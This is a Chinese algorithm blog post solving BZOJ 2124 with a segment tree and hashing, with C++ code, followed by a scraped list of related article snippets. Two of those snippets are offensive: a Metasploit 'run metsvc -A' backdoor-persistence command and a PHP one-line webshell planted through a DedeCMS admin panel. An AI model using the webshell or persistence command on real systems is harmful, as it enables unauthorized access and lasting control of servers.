【BZOJ 2124】【CodeVS 1283】等差子序列
http://www.lydsy.com/JudgeOnline/problem.php?id=2124
http://codevs.cn/problem/1283/
重点是把判断是否存在3个数组成等差数列变为对于一个数x快速判断x+d和x-d是否在x的左右两侧。
如果在x左侧,设为1,在x右侧,设为0。
如果没有冲突,就是说同时为1或0,那么x左边一段的01串和x右边一段的01串翻转后的串相同,这个可以线段树+hash快速判断。
时间复杂度\(O(n\log n)\)。
#include<cstdio>
#include<cstring>
#include<algorithm>
using namespace std;
typedef long long ll;
const int N = 10003;
const int p = 1000000007;
int powp[N], n;
namespace SegmentTree {
	int num, hash1[N << 2], hash2[N << 2];
	void clr() {
		memset(hash1, 0, sizeof(hash1));
		memset(hash2, 0, sizeof(hash2));
	}
	void update(int rt, int l, int r, int pos) {
		if (l == r) {hash1[rt] = hash2[rt] = 1; return;}
		int mid = (l + r) >> 1;
		if (pos <= mid) update(rt << 1, l, mid, pos);
		else update(rt << 1 | 1, mid + 1, r, pos);
		hash1[rt] = (1ll * hash1[rt << 1] * powp[r - mid] % p + hash1[rt << 1 | 1]) % p;
		hash2[rt] = (1ll * hash2[rt << 1 | 1] * powp[mid - l + 1] % p + hash2[rt << 1]) % p;
	}
	void work1(int rt, int l, int r, int L, int R) {
		if (L <= l && r <= R) {num = (1ll * num * powp[r - l + 1] % p + hash1[rt]) % p; return;}
		int mid = (l + r) >> 1;
		if (L <= mid) work1(rt << 1, l, mid, L, R);
		if (R > mid) work1(rt << 1 | 1, mid + 1, r, L, R);
	}
	void work2(int rt, int l, int r, int L, int R) {
		if (L <= l && r <= R) {num = (1ll * num * powp[r - l + 1] % p + hash2[rt]) % p; return;}
		int mid = (l + r) >> 1;
		if (R > mid) work2(rt << 1 | 1, mid + 1, r, L, R);
		if (L <= mid) work2(rt << 1, l, mid, L, R);
	}
	int get_hash1(int L, int R) {
		if (L > R) return 0;
		num = 0;
		work1(1, 1, n, L, R);
		return num;
	}
	int get_hash2(int L, int R) {
		if (L > R) return 0;
		num = 0;
		work2(1, 1, n, L, R);
		return num;
	}
}
int a[N];
int main() {
	powp[0] = 1;
	for (int i = 1; i < N; ++i)
		powp[i] = (powp[i - 1] << 1) % p;
	bool flag;
	int T, len, l1, r1, l2, r2;
	scanf("%d", &T);
	while (T--) {
		SegmentTree::clr();
		scanf("%d", &n);
		flag = false;
		for (int i = 1; i <= n; ++i) scanf("%d", a + i);
		for (int i = 1; i <= n; ++i) {
			len = min(a[i] - 1, n - a[i]);
			r1 = a[i] - 1; l2 = a[i] + 1;
			l1 = r1 - len + 1; r2 = l2 + len - 1;
			if (SegmentTree::get_hash1(l1, r1) != SegmentTree::get_hash2(l2, r2)) {
				flag = true; break;
			}
			SegmentTree::update(1, 1, n, a[i]);
		}
		puts(flag ? "Y" : "N");
	}
	return 0;
}
												
											【BZOJ 2124】【CodeVS 1283】等差子序列的更多相关文章
- codevs 1283 等差子序列
		
http://codevs.cn/problem/1283/ 题目描述 Description 给一个 1 到 N 的排列{Ai},询问是否存在 1<=p1<p2<p3<p4& ...
 - BZOJ 2124: 等差子序列
		
Sol 线段树+Hash. 首先暴力 等差子序列至少3项就可以了,就枚举中项,枚举公差就可以了,只需要一个数在中项前出现,另一个数在中项前没出现过就可以了.复杂度 \(O(n^2)\) 然后我想了一个 ...
 - bzoj 2124 等差子序列 (线段树维护hash)
		
2124: 等差子序列 Time Limit: 3 Sec Memory Limit: 259 MBSubmit: 1922 Solved: 714[Submit][Status][Discuss ...
 - BZOJ  2124: 等差子序列  线段树维护hash
		
2124: 等差子序列 Description 给一个1到N的排列{Ai},询问是否存在1<=p1=3),使得Ap1,Ap2,Ap3,…ApLen是一个等差序列. Input 输入的第一行包含一 ...
 - 2124: 等差子序列 - BZOJ
		
Description 给一个1到N的排列{Ai},询问是否存在1<=p1=3),使得Ap1,Ap2,Ap3,…ApLen是一个等差序列. Input 输入的第一行包含一个整数T,表示组数.下接 ...
 - BZOJ 2124等差子序列 线段树&&hash
		
[题目描述 Description] 给一个 1 到 N 的排列{Ai},询问是否存在 1<=p1<p2<p3<p4<p5<…<pLen<=N(Len& ...
 - bzoj 2124 等差子序列 树状数组维护hash+回文串
		
等差子序列 Time Limit: 3 Sec Memory Limit: 259 MBSubmit: 1919 Solved: 713[Submit][Status][Discuss] Desc ...
 - BZOJ [P2124] 等差子序列
		
线段树维护哈希值 要求出现长度大于三的等差子序列,我们只要找到长度等于三的就可以了 初看本题没有思路,只能暴力枚举,O(n^4) 后来发现,这个序列是n的一个排列,那么每个数字都只会出现一次 我们可以 ...
 - [bzoj2124]等差子序列(hash+树状数组)
		
我又来更博啦 2124: 等差子序列 Time Limit: 3 Sec Memory Limit: 259 MBSubmit: 941 Solved: 348[Submit][Statu ...
 - bzoj2124  等差子序列(hash+线段树)
		
2124: 等差子序列 Time Limit: 3 Sec Memory Limit: 259 MBSubmit: 719 Solved: 261[Submit][Status][Discuss] ...
 
随机推荐
- HDU  1070    Milk    (模拟)
			
题目链接 Problem Description Ignatius drinks milk everyday, now he is in the supermarket and he wants to ...
 - GPU硬件加速
			
现代浏览器大都可以利用GPU来加速页面渲染.每个人都痴迷于60桢每秒的顺滑动画.在GPU的众多特性之中,它可以存储一定数量的纹理(一个矩形的像素点集合)并且高效地操作这些纹理(比如进行特定的移动.缩放 ...
 - AndroidStudio 添加Selector文件,在res文件夹下添加文件夹
			
在res文件夹下添加文件夹: 添加Selector文件:
 - Fiddler--的一些使用技巧
			
1.Filters请求与响应的会话过滤 请求会话列表中存在上百个请求,怎么过滤想要的,可以启用 Fiddler Filters强大的过滤机制,还可以依据正则来过滤,如: REGEX:(?insx). ...
 - metasploit后门维持技术
			
在meterpreter中执行:run metsvc -A 如此以后便会自动在服务器当中多生成一个meterpreter的服务,并且是开机自动启动.所以二次如果要利用直接: use exploit/m ...
 - 另类dedecms后台拿shell
			
遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...
 - 使用makecontext实现用户线程【转】
			
转自:http://blog.csdn.net/cyberlabs/article/details/6920138 使用makecontext实现用户线程 现代Unix系统都在ucontext.h中提 ...
 - Timer类
			
构造方法:public Timer() 创建一个新计时器.相关的线程不 作为守护程序运行. public Timer(boolean isDaemon) 创建一个新计时器,可以指定其相关的线程作为守护 ...
 - Window Server 2008 R2 安装 Share Point 2013
			
原文地址:http://www.cnblogs.com/jianyus/p/3631905.html
 - 关于大O法的几点解释
			
大O表示法指出算法有多快.例如,假设列表包含n个元素.简单查找需要检查每个元素,因此需要执行n次操作.使用大O表示法,这个运行时间为O(n).主要单位不是秒啊,大O表示法值得并非以秒为单位的速度,而是 ...